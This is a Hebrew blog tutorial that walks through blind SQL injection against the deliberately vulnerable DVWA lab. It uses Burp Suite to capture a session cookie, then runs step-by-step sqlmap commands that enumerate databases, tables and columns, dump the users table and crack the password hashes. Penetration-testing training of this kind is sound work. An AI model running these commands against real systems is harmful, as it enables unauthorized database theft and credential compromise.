Home אבטחת מידעPenetration Testing - Offense SQLi – SQL Injection על ידי SQLMap וBurpSuite בשיטת Blind Injection על DVWA

SQLi – SQL Injection על ידי SQLMap וBurpSuite בשיטת Blind Injection על DVWA

by Tal Ben Shushan 31/05/2018 0 comment
SQLi – SQL Injection על ידי SQLMap וBurpSuite בשיטת Blind Injection על DVWA
נהנתם מהמאמר ? שתפו אותו!

כל הזכויות שמורות לטל בן שושן – Shushan.co.il

SQLi – SQL Injection על ידי BurpSuite ו SQLMap על DVWA

BurpSuite


על מנת לבצע מאמר זה, יש תחילה לקרוא את המאמרים הבאים:
הסבר והתקנת DVWA

הסבר הגדרה והפעלת Metasploit
פקודות ושימוש ב Metasploit


BurpSuite הוא לביצוע בדיקות, בדיקות אבטחת מידע, הוצאת מידע וניטור לאתרי אינטרנט, על ידי שימוש ב BurpSuite נוכל לנטר את כל התעבורה התקבלת והנשלחת לשרת ה Web כך למעשה, נוכל לבדוק פרמטרים רבים ולבצע השוואות ובדיקות אבטחה.
במאמר זה נעבור על הפעולות הבסיסיות של BurpSuite ונשתמש בו על מנת לבצע SQLi שהוסבר במאמר קודם

SQLMap

הוא כלי המבצע SQLi באופן אוטומטי, SQLMap מבצע סריקה,Exploting ובדיקה למערכת הSQL אותה בודקים, חובה להזין למערכת נתונים בסיסיים, כתובת האתר, הטופס דרכו ניתן לבצע את ה SQLi ואת ה Arguments, זאת אומרת מה אתם מנסים להשיג? השגת נתונים ממסד הנתונים? הזרקת מידע לתוכו ? וכו'

  • תמיכה מלאה בכמעט כל מערכות ה SQL – מ MySql, Oracle , PostgreSql, Microsoft , IBM DB2 ומסדי נתונים נוספים
  • תומך בהוצאת טבלאות ומסדי נתונים שלמים

ב5 טכניקות משתמש SQLMap על מנת לבצע SQLi

  • Boolean-based blind – למעשה Boolean הוא שיטת השאלות, כן ולא, בשיטה זו נשאל את המסד, דרך הטופס (עם החולשה) סדרת השאלות מבוצעת על ידי ה SQLMap ואם המסד עונה כן, אז SQLMap אומר לו תעשה X ואם לא ממשיך עד שהוא מצליח לבנות את הצורה בה עובד מסד הנתונים
  • Time Based Blind – שינוי הזמן בין פקודה אחת לפקודה אחרת, אם מצליחים לשנות את הזמן, יהיה ניתן לנסות להזין פקודה זדונית בין לבין.
  • Error Based – כאשר ננסה להזין ' או ננסה להזין מידע אל הטופס, מסד הנתונים יחזיר או שגיאה או נתון מסוים כך למעשה המסד נתונים מספר לנו דברים שלא בהכרח קשורים לטופס, וכך ניתן להזריק פקודה אל הטופס ולהוציא \ לתת פקודות למסד הנתונים
  • Union – נאמר ויש טופס שניתן דרכו להריץ פקודה, נוכל להזין '1 על מנת לסגור את הפקודה ולאחריו להוסיךף Union ואז עוד פקודה, כך על ידי Union אנחנו מוסיפים עוד פקודה משלנו לפקודה שכבר קיימת בטופס

1' union select * from ….

להסביר מקיף על SQLi לחצו כאן

ביצוע ההתקפה בעזרת SQLMap

דרישות:

  • Kali מותקן ומעודכן
  • DVWA מותקן
  • DVWA על מצב Low Security

תחילה נגדיר את Firefox

כעת נפתח את Firefox ונעבור לPreferences

כעת בלשונית Advanced ואז Network

בשורה Connection לחצו על הכפתור Settings

כעת שנו את ההגדרה ל Manual proxy והגדירו 127.0.0.1 בפורט 8080 כמו בתמונה

כעת נפתח את האפליקציות בקאלי ונגיע ל Web Application Analysis

נפתח את BurpSuite

נלחץ על Next

כעת עברו ללשונית Proxy ואז לחצו על Intercept is on (אנחנו רוצים כרגע לבטל את "היירוט" על מנת לגלוש לDVWA)

כעת סדרו את Firefox ופתחו שוב, הכנסו לאתר ה DVWA, הזינו את שם המשתמש והסיסמא שלכם

והכנסו ל SQL Injection (Blind) , רשמו 1 ואל תלחצו על כלום

חזרו ל BurpSuite ולחצו על הכפתור intercept is off ובדקו שהוא לחוץ והפך ל Intercept is on

חזרו לאתר DVWA ולחצו על Submit

כעת BurpSuite "יירט" את שליחת המידע וקבלת המידע מהאתר, תוכלו להבחין שהאתר גם לא מתקדם ו"תקוע" על טעינה

מצויין! כעת עברו ל BurpSuite ושם נוכל להבחין שהוא יירט את ה"עוגייה" של המשתמש

אם היינו מנסים מדפדפן אחר ובודקים למה שורת הכתובות תשתנה נגלה

http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#

השורה

 ?id=1&Submit=Submit#

זו השורה שבעצם נוכל לנסות להשתמש בSQLi

כעת נשתמש ב SQLMap, נפתח את Applications ואז Web Application Analysis ושם את SQLMap

אחרי שפתחנו את SQLMap נצטרך להקיש את הפקודה על מנת ש SQLMap יבצע את הסריקה

אנחנו צריכים להשתמש במידע ש"יירטנו" ב BurpSuite

ניקח את 3 החלקים

  • חלק ראשון – כתובת האתר – http://shushan.com/vulnerabilities/sqli_blind/
  • חלק שני – הפקודה שנשלחה לאתר – ?id=1&Submit=Submit#
  • חלק שלישי – העוגייה – PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low

ולכן הפקודה תראה כך:

sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" --dbs

–dbs מנסה לבצע Enumrate – מנסה להרחיב את הבקשה ולנסות להשיג יותר מידע ממסד הנתונים וזאת על ידי ה"עוגייה" שהוצאנו בשילוב ה"פריצה" שהיא הטופס באתר

נקיש Enter

כעת בסיום נקבל הודעה שה SQLi עבד, על ידי 4 נקודות הזרקה (כולם מוסברים במאמר על SQLI באתר)

  • Boolean-based blind
  • error-based
  • AND/OR time based blind
  • Union query

כעת אחרי ש4 הזרקות עובדות אנחנו מצליחים לקבל את רשימת הטבלאות במסד הנתונים

Information_schema

zadmin_dvwa

למעשה Information_schema לרוב נמצא בכל מסדי הנתונים.

אבל zadmin_dvwa לא, והוא המסד הראשי, אותו אנחנו רוצים.

אחרי שהבנו שקוראים למסד zadmin_dvwa נשתמש בו בפקודה

sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" -D zadmin_dvwa --tables

-D – הגדרה שאומרת פקודת התחברות ישירה למסד הנתונים שהוא zadmin_dvwa

–tables – השג לי את הטבלאות מתוך מסד הנתונים zadmin_dvwa

אנחנו השתמשנו ב — tables

-a, –all Retrieve everything
-b, –banner Retrieve DBMS banner
–current-user Retrieve DBMS current user
–current-db Retrieve DBMS current database
–hostname Retrieve DBMS server hostname
–is-dba Detect if the DBMS current user is DBA
–users Enumerate DBMS users
–passwords Enumerate DBMS users password hashes
–privileges Enumerate DBMS users privileges
–roles Enumerate DBMS users roles
–dbs Enumerate DBMS databases
–tables Enumerate DBMS database tables
–columns Enumerate DBMS database table columns
–schema Enumerate DBMS schema
–count Retrieve number of entries for table(s)
–dump Dump DBMS database table entries
–dump-all Dump all DBMS databases tables entries
–search Search column(s), table(s) and/or database name(s)
–comments Retrieve DBMS comments

כעת קיבלנו את רשימת הטבלאות –

guestbook

users

אנחנו רוצים את users ולכן נקיש את הפקודה

sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" -D zadmin_dvwa -T users --columns

-T אומר לבחור את הטבלה שבתוך המסד נתונים ואותה להציג

–columns אומר להציג את העמודות מתוך הטבלה users

-D DB DBMS database to enumerate

-T TBL DBMS database table(s) to enumerate

-C COL DBMS database table column(s) to enumerate

-X EXCLUDECOL DBMS database table column(s) to not enumerate

-U USER DBMS user to enumerate

–exclude-sysdbs Exclude DBMS system databases when enumerating tables

–pivot-column=P.. Pivot column name

–where=DUMPWHERE Use WHERE condition while table dumping

–start=LIMITSTART First dump table entry to retrieve

–stop=LIMITSTOP Last dump table entry to retrieve

–first=FIRSTCHAR First query output word character to retrieve

–last=LASTCHAR Last query output word character to retrieve

–sql-query=QUERY SQL statement to be executed

–sql-shell Prompt for an interactive SQL shell

–sql-file=SQLFILE Execute SQL statements from given file(s)

עכשיו אנחנו יודעים איזה טבלאות יש, אבל מה מהטבלאות אנחנו הכי רוצים?!

להציג את הטבלאות מתוך העמודות שנמצאות ב Users והם

user

password

sqlmap -u "http://shushan.com/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "PHPSESSID=l5lg8mga3s8h5dj3jq5lo7heg3; security=low" -D zadmin_dvwa -T users -C user,password --dump

-T users – טבלה שלמה במסד הנתונים

-C user,password – עמודות בשם user ו password הנמצאים בתוך הטבלה users

–dump – להוציא את הנתונים ולשמור אותם

לחצו Enter (כאשר הוא שואל שאלה המתינו וקראו את המשך המדריך)

כעת נקבל את השמות משתמשים והסיסמאות ולייצא אותם לנתיב ב/tmp/ (רשום למטה בתמונה)

כעת הוא שואל האם לנסות "לפצח" את הסיסמאות האלו? נלחץ על Y

ונשתמש באפשרות הראשונה

גם כאן Y

בסיום, נקבל רשימה של כל השמות משתמשים והסיסמאות מפוענחות (כנראה מ MD5)

כל הכבוד!

מאמרים קשורים

Leave a Comment